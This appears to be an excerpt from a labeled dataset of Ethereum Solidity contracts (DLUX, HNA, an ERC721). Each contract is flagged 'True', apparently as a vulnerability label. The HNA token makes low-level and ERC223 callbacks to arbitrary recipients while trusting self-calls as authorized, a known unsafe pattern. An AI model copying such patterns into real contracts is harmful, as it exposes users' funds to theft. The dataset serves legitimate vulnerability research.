_multiTransfer(_to, _amount);
return true;
}
}
contract DLUXToken is ERC20Pausable, ERC20Burnable, ERC20Mintable, MultiTransferToken {
string public constant name = "DLUX Token";
string public constant symbol = "DLUX";
uint public constant decimals = 18;
// Lock
mapping (address => address) public lockStatus;
event Lock(address _receiver, uint256 _amount);
// Airdrop
mapping (address => uint256) public airDropHistory;
event AirDrop(address _receiver, uint256 _amount);
constructor() public {}
function dropToken(address[] memory receivers, uint256[] memory values) public {
require(receivers.length != 0);
require(receivers.length == values.length);
for (uint256 i = 0; i < receivers.length; i++) {
address receiver = receivers[i];
uint256 amount = values[i];
transfer(receiver, amount);
airDropHistory[receiver] += amount;
emit AirDrop(receiver, amount);
}
}
function timeLockToken(address beneficiary, uint256 amount, uint256 releaseTime) onlyOwner public {
TokenTimelock lockContract = new TokenTimelock(this, beneficiary, releaseTime);
transfer(address(lockContract), amount);
lockStatus[beneficiary] = address(lockContract);
emit Lock(beneficiary, amount);
}
} | True | [
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pragma solidity ^0.4.23;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
emit LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract ERC20Events {
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
}
contract ERC20 is ERC20Events {
function totalSupply() public view returns (uint);
function balanceOf(address guy) public view returns (uint);
function allowance(address src, address guy) public view returns (uint);
function approve(address guy, uint wad) public returns (bool);
function transfer(address dst, uint wad) public returns (bool);
function transferFrom(
address src, address dst, uint wad
) public returns (bool);
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract DSTokenBase is ERC20, DSMath {
uint256 _supply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
constructor(uint supply) public {
_balances[msg.sender] = supply;
_supply = supply;
}
function totalSupply() public view returns (uint) {
return _supply;
}
function balanceOf(address src) public view returns (uint) {
return _balances[src];
}
function allowance(address src, address guy) public view returns (uint) {
return _approvals[src][guy];
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
if (src != msg.sender) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function approve(address guy, uint wad) public returns (bool) {
_approvals[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}
}
contract DSToken is DSTokenBase(0), DSStop {
bytes32 public symbol;
uint256 public decimals = 18; // standard token precision. override to customize
constructor(bytes32 symbol_) public {
symbol = symbol_;
}
event Mint(address indexed guy, uint wad);
event Burn(address indexed guy, uint wad);
function approve(address guy) public stoppable returns (bool) {
return super.approve(guy, uint(-1));
}
function approve(address guy, uint wad) public stoppable returns (bool) {
return super.approve(guy, wad);
}
function transferFrom(address src, address dst, uint wad)
public
stoppable
returns (bool)
{
if (src != msg.sender && _approvals[src][msg.sender] != uint(-1)) {
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], wad);
}
_balances[src] = sub(_balances[src], wad);
_balances[dst] = add(_balances[dst], wad);
emit Transfer(src, dst, wad);
return true;
}
function push(address dst, uint wad) public {
transferFrom(msg.sender, dst, wad);
}
function pull(address src, uint wad) public {
transferFrom(src, msg.sender, wad);
}
function move(address src, address dst, uint wad) public {
transferFrom(src, dst, wad);
}
function mint(uint wad) public {
mint(msg.sender, wad);
}
function burn(uint wad) public {
burn(msg.sender, wad);
}
function mint(address guy, uint wad) public auth stoppable {
_balances[guy] = add(_balances[guy], wad);
_supply = add(_supply, wad);
emit Mint(guy, wad);
}
function burn(address guy, uint wad) public auth stoppable {
if (guy != msg.sender && _approvals[guy][msg.sender] != uint(-1)) {
_approvals[guy][msg.sender] = sub(_approvals[guy][msg.sender], wad);
}
_balances[guy] = sub(_balances[guy], wad);
_supply = sub(_supply, wad);
emit Burn(guy, wad);
}
// Optional token name
bytes32 public name = "";
function setName(bytes32 name_) public auth {
name = name_;
}
}
/// @title ERC223ReceivingContract - Standard contract implementation for compatibility with ERC223 tokens.
interface ERC223ReceivingContract {
/// @dev Function that is called when a user or another contract wants to transfer funds.
/// @param _from Transaction initiator, analogue of msg.sender
/// @param _value Number of tokens to transfer.
/// @param _data Data containig a function signature and/or parameters
function tokenFallback(address _from, uint256 _value, bytes _data) public;
/// @dev For ERC20 backward compatibility, same with above tokenFallback but without data.
/// The function execution could fail, but do not influence the token transfer.
/// @param _from Transaction initiator, analogue of msg.sender
/// @param _value Number of tokens to transfer.
// function tokenFallback(address _from, uint256 _value) public;
}
/// @dev The token controller contract must implement these functions
contract TokenController {
/// @notice Called when `_owner` sends ether to the MiniMe Token contract
/// @param _owner The address that sent the ether to create tokens
/// @return True if the ether is accepted, false if it throws
function proxyPayment(address _owner) payable public returns (bool);
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) public returns (bool);
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount) public returns (bool);
}
contract Controlled {
/// @notice The address of the controller is the only address that can call
/// a function with this modifier
modifier onlyController { if (msg.sender != controller) throw; _; }
address public controller;
constructor() public { controller = msg.sender;}
/// @notice Changes the controller of the contract
/// @param _newController The new controller of the contract
function changeController(address _newController) onlyController {
controller = _newController;
}
}
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
interface ERC223 {
function transfer(address to, uint amount, bytes data) public returns (bool ok);
function transferFrom(address from, address to, uint256 amount, bytes data) public returns (bool ok);
event ERC223Transfer(address indexed from, address indexed to, uint amount, bytes data);
event ReceivingContractTokenFallbackFailed(address indexed from, address indexed to, uint amount);
}
contract HNA is DSToken("HNA"), ERC223, Controlled {
constructor() public {
setName("Honour Network Access Token");
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
// Alerts the token controller of the transfer
if (isContract(controller)) {
require (TokenController(controller).onTransfer(_from, _to, _amount));
}
success = super.transferFrom(_from, _to, _amount);
if (success && isContract(_to)) {
// Backward compatible ERC20
if(!_to.call(bytes4(keccak256("tokenFallback(address,uint256)")), _from, _amount)) {
emit ReceivingContractTokenFallbackFailed(_from, _to, _amount);
}
}
}
/*
* ERC 223
* Added support for the ERC 223 "tokenFallback" method in a "transfer" function with a payload.
*/
function transferFrom(address _from, address _to, uint256 _amount, bytes _data) public returns (bool success) {
// Alerts the token controller of the transfer
if (isContract(controller)) {
require (TokenController(controller).onTransfer(_from, _to, _amount));
}
require(super.transferFrom(_from, _to, _amount));
if (isContract(_to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(_from, _amount, _data);
}
emit ERC223Transfer(_from, _to, _amount, _data);
return true;
}
/*
* ERC 223
* Added support for the ERC 223 "tokenFallback" method in a "transfer" function with a payload.
*/
/// @notice Send `_value` tokens to `_to` from `msg.sender` and trigger
/// tokenFallback if sender is a contract.
/// @dev Function that is called when a user or another contract wants to transfer funds.
/// @param _to Address of token receiver.
/// @param _amount Number of tokens to transfer.
/// @param _data Data to be sent to tokenFallback
/// @return Returns success of function call.
function transfer(address _to, uint256 _amount, bytes _data) public returns (bool success) {
return transferFrom(msg.sender, _to, _amount, _data);
}
// give _spender approve _amount
function approve(address _spender, uint256 _amount) public returns (bool success) {
// Alerts the token controller of the approve function call
if (isContract(controller)) {
require (TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
return super.approve(_spender, _amount);
}
// Generate tokens
function mint(address _guy, uint256 _wad) auth stoppable public {
super.mint(_guy, _wad);
emit Transfer(0, _guy, _wad);
}
// burn tokens
function burn(address _guy, uint256 _wad) auth stoppable public {
super.burn(_guy, _wad);
emit Transfer(_guy, 0, _wad);
}
// give _spender approve _amount
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success) {
require (approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function isContract(address _addr) constant internal returns(bool) {
uint256 size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
/// @notice The fallback function: If the contract's controller has not been
/// set to 0, then the `proxyPayment` method is called which relays the
/// ether and creates tokens as described in the token controller contract
function () payable {
if (isContract(controller)) {
if (! TokenController(controller).proxyPayment.value(msg.value)(msg.sender))
throw;
} else {
throw;
}
}
//////////
// Safety Methods
//////////
/// @notice Extracting the wrongly sent token back into the contract
/// set to 0 if want to get ether.
function claimTokens(address _token) onlyController public {
if (_token == 0x0) {
controller.transfer(this.balance);
return;
}
ERC20 token = ERC20(_token);
uint256 balance = token.balanceOf(this);
token.transfer(controller, balance);
emit ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint256 _amount);
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-09
*/
/**
*Submitted for verification at Etherscan.io on 2022-02-04
*/
// SPDX-License-Identifier: MIT AND GPL-3.0
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
